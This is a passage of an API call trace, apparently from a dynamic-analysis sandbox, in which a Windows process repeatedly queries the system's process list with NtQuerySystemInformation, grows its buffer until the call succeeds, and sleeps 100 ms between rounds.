Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.530] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0138.530] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0138.530] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0138.530] Sleep (dwMilliseconds=0x64) [0138.678] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0138.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0138.679] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0138.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0138.679] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0138.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0138.679] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0138.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.679] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0138.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.679] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0138.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.679] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0138.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.679] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0138.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.680] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0138.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.680] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0138.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0138.680] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0138.680] Sleep (dwMilliseconds=0x64) [0138.829] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0138.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0138.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0138.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0138.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0138.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0138.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0138.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0138.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0138.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0138.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0138.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0138.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0138.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0138.830] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0138.830] Sleep (dwMilliseconds=0x64) [0138.963] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0138.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0138.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0138.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0138.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0138.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0138.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0138.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.963] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0138.964] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.964] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0138.964] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.964] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0138.964] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0138.964] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0138.964] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.964] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0138.964] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0138.964] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0138.964] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0138.964] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0138.965] Sleep (dwMilliseconds=0x64) [0139.108] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0139.108] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0139.108] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0139.108] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0139.108] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0139.108] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0139.109] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0139.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.109] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0139.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.109] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0139.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.109] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0139.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.109] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0139.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.109] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0139.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.109] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0139.109] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0139.110] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0139.110] Sleep (dwMilliseconds=0x64) [0139.216] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0139.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0139.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0139.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0139.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0139.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0139.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0139.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.217] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0139.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.217] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0139.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.217] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0139.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.217] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0139.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.217] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0139.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.217] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0139.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0139.217] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0139.218] Sleep (dwMilliseconds=0x64) [0139.334] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0139.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0139.335] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0139.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0139.335] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0139.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0139.335] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0139.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.335] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0139.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.335] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0139.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.335] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0139.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.335] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0139.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0139.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0139.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0139.336] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0139.336] Sleep (dwMilliseconds=0x64) [0139.441] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0139.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0139.441] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0139.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0139.441] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0139.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0139.441] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0139.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.441] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0139.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.442] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0139.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.442] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0139.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.442] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0139.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.442] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0139.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.442] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0139.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0139.442] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0139.443] Sleep (dwMilliseconds=0x64) [0139.689] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0139.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0139.689] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0139.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0139.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0139.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0139.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0139.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0139.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0139.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0139.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0139.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0139.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0139.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0139.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0139.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xb18c) returned 0x79d9d0 [0139.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0139.691] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0139.691] Sleep (dwMilliseconds=0x64) [0140.037] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0140.037] 